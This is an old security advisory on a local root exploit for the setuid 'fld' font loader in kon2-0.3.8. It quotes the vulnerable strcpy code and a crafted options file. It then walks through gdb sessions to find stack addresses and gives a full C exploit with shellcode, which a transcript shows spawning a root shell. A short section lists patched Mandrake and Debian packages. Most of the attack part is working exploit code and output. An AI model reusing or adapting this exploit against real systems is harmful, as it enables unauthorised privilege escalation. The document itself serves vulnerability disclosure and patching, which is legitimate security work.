COMMAND

    kon2 package

SYSTEMS AFFECTED

    kon2-0.3.8

PROBLEM

    Black Sphere found following.  There is a vulnerable suid program,
    called FLD that is part  of the kon2-0.3.8 package.   This program
    accepts options input from a  text file and its possible  to input
    arbitrary code into the stack and spawning a root shell.

    This is the vulnerable part of the program :

       while (fgets (line, 256, fp))
       {
        if (!width && !high &&
          !strncmp ("FONTBOUNDINGBOX", line, strlen ("FONTBOUNDINGBOX")))
        {
          p = line + sizeof ("FONTBOUNDINGBOX");
          sscanf (p, "%d %d", &width, &high);
        }
        else if (!strncmp ("CHARSET_REGISTRY", line, 16))
        {
          p = line + sizeof ("CHARSET_REGISTRY");
          while (*p != '"')
            p++;
          w = ++p;
          while (*p != '"')
            p++;
          *p = '\0';
          strcpy (reg, w);
        }

    As we can see, it reads 256  bytes from the file.  If our  options
    file looks like this:

        CHARSET_REGISTRY
        CHARSET_REGISTRY "0000000000000000000000
        CHARSET_REGISTRY "ISO8859"
        CHARSET_ENCODING "1"

    The program will do p++ while it *p != '"'  If we write a  exploit
    program  that  writes  to  an  environment  variable  the code and
    adresses we need  between quotes, its  possibele to put  the value
    of the environment variable in variable reg with strcpy.

    When  we  define  a  environment  variable, the whole environment,
    including our variable, will be at the end of the stack.  So if we
    don't put quotes in the options file, variable w will point to our
    code.  If we find quotes somewhere in the memory, before our  code
    appears, we just add: CHARSET_REGISTRY lines, until all the quotes
    that  are  before   our  code  in   the  stack  becames   :   '\0'
    (When *p = '\"' for second time, it will convert '\"' to '\0').

    The size of the buffer must be 541.  Stack looks like this

          256     256      4      4      4     4
        [ reg ] [ line ] [ fsp ] [ ret ] [ fp ] [...] ............[EGG = \"...our code ...\"]...

    We cannot  destroy the  adresses after  ret with  the '\0' char of
    strcpy(), so we must  use GDB and a  version of FLD compiled  with
    the -ggdb  option and  get two  or three  values after  [ret] that
    cannot be destroyed and must be replaced.  For this we do:

        [sphere@fire font]# gdb fld

         GNU gdb 19991116
         Copyright 1998 Free Software Foundation, Inc.
         GDB is free software, covered by the GNU General Public License, and you are
          welcome to change it and/or distribute copies of it under certain conditions.
         Type "show copying" to see the conditions.
         There is absolutely no warranty for GDB.  Type "show warranty" for details.
         This GDB was configured as "i586-mandrake-linux"...
         (gdb) set args -type bdf ./cod
         (gdb) break FontLoadBdf
         Breakpoint 1 at 0x8049a14: file bdf.c, line 31.
         (gdb) r
         Starting program: /usr/src/RPM/SOURCES/kon2-0.3.8/font/fld -type bdf ./options

         Breakpoint 1, FontLoadBdf (fp=0x804c590) at bdf.c:31
         31        fi.type = CodingByRegistry ("ISO8859-1");

         (gdb) x/6aw $ebp
         0xbffff8fc:     0xbffffa3c      0x8049326 <main+694>    0x804c590 0xbffffbef
         0xbffff90c:     0x40013460      0x0
          (gdb)
         (gdb) print reg + 20
          $1 = 0xbffff710 "`4\001@÷\003"
          (gdb) c
          Continuing.

           Program received signal SIGSEGV, Segmentation fault.
          0x8049af1 in FontLoadBdf (fp=0x804c590) at bdf.c:49
          49                  p++;
          (gdb)

    We change  xp.c program  with the  rigth adresses.   All equal  to
    that except "0x8049326 <main+694>" that will become "0xbffff710".

    Then we copy /usr/bin/fld to our home directory and use gdb tomake
    a break at fgets() This will give us the value next to [ret].

        [sphere@fire font]# gdb fld
        GNU gdb 19991116
        Copyright 1998 Free Software Foundation, Inc.
        GDB is free software, covered by the GNU General Public License, and you are
        welcome to change it and/or distribute copies of it under certain conditions.
        Type "show copying" to see the conditions.
        There is absolutely no warranty for GDB.  Type "show warranty" for details.
        This GDB was configured as "i586-mandrake-linux"...(no debugging symbols found)...
        (gdb) break fgets
        Breakpoint 1 at 0x8048a5c
        (gdb) set args -type bdf ./cod
        (gdb) r
        Starting program: /usr/src/RPM/SOURCES/kon2-0.3.8/font/fld -type bdf ./cod

        Breakpoint 1, 0x40064ad5 in _IO_fgets (buf=0xbffff7fc "Ð6\001\002\001", n=256,    fp=0x804bf90) at iofgets.c:34
        34      iofgets.c: No such file or directory.

    Now we  have the  rigth "fp"  address.   We change  xp.c addresses
    again.

    /* Exploit code for /usr/bin/fld

       Compile with : gcc -o xp xp.c

       Made by : E-Ligth (Hugo Oliveira Dias) 01/08/2000
    */


    #include <string.h>
    #include <stdlib.h>
    #include <stdio.h>

    #define OFFSET 0
    #define BUFFSIZE 541
    #define NOP 0x90

    char shellcode[] =
      "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
      "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
      "\x80\xe8\xdc\xff\xff\xff/bin/zh";

    unsigned long get_esp(void) {
       __asm__("movl %esp,%eax");
    }

    int main(int argc,char *argv[])
    {
      int bsize = BUFFSIZE;
      int offset = OFFSET;
     int i;
      long *addr_ptr, addr;
      char *ptr,*buf,*env;
      char arg[30];

     if (!(buf = malloc(bsize))) {
         printf("Can't allocate memory.\n");
         exit(0);
      }


     ptr = buf;
     for (i = 0; i < bsize; i++)

        *(ptr++) = shellcode[i];

     buf[519] = 0x3c; /* Saved EBP 0xbffffa3c */
     buf[520] = 0xfa;
     buf[521] = 0xff;
     buf[522] = 0xbf;

     buf[523] = 0x10; /* Return Address  0xbffff710 */
     buf[524] = 0xf7;
     buf[525] = 0xff;
     buf[526] = 0xbf;

     buf[527] = 0x90; /* fp variable 0x804bf90 */
     buf[528] = 0xbf;
     buf[529] = 0x04;
     buf[530] = 0x08;

     buf[531] = 0xef; /* variable thats shouldn´t be destroyed 0xbffffbef */
     buf[532] = 0xfb;
     buf[533] = 0xff;
     buf[534] = 0xbf;

     buf[535] = 0x60; /* variable thats shouldn´t be destroyed 0x40013460 */
     buf[536] = 0x34;
     buf[537] = 0x01;
     buf[538] = 0x40;

     memcpy(buf,"-type \"",7);
     buf[540] = '\0';
     buf[539] = '\"';

     memcpy(arg,"-type bdf ./code",16);
     arg[16] = '\0';

     env = (char *) malloc(bsize + 10);
     memcpy(env,"EGG=",4);

     strcat(env,buf);

     putenv(env);

     system("/bin/bash");

      exit(0);

    Now all we have to do is:

        [sphere@fire my]$ gcc -o xp xp.c
        [sphere@fire font]$ ./xp
        [sphere@fire font]$ fld -type bdf ./options
        dircolors: no SHELL environment variable, and no shell type option given
        /etc/profile.d/color_ls.sh:3: parse error: condition expected: =
        sphere@fire ~/my $ whoami
        root
        sphere@fire ~/my $

    This code uses zsh  with the name of  zh to spawn the  shell.  The
    exploit  code  was  developed   to  participate  in  Wargames   of
    www.hack3r.com.  The  target computer was  the host running  Turbo
    Linux 6.0.4 and authors distribution is Linux Mandrake 7.0.   Both
    revealed to be vulnerable to this exploit.

SOLUTION

    SuSE-Linux either  does not  contain these  packages or  the files
    therein causing the publically announced security vulnerabilities.

    For Linux Mandrake

        7.0/RPMS/kon2-0.3.8-15mdk.i586.rpm
        7.0/SRPMS/kon2-0.3.8-15mdk.src.rpm
        7.1/RPMS/kon2-0.3.8-15mdk.i586.rpm
        7.1/SRPMS/kon2-0.3.8-15mdk.src.rpm

    Debian distributes kon2 packages:

        Debian GNU/Linux 2.1    0.3.7-9
        Debian GNU/Linux 2.2    0.3.9b-3

    The  Debian  maintainer   for  kon2  has   decided  not  to   make
    /usr/bin/fld setuid, so the exploit doesn seem to work there.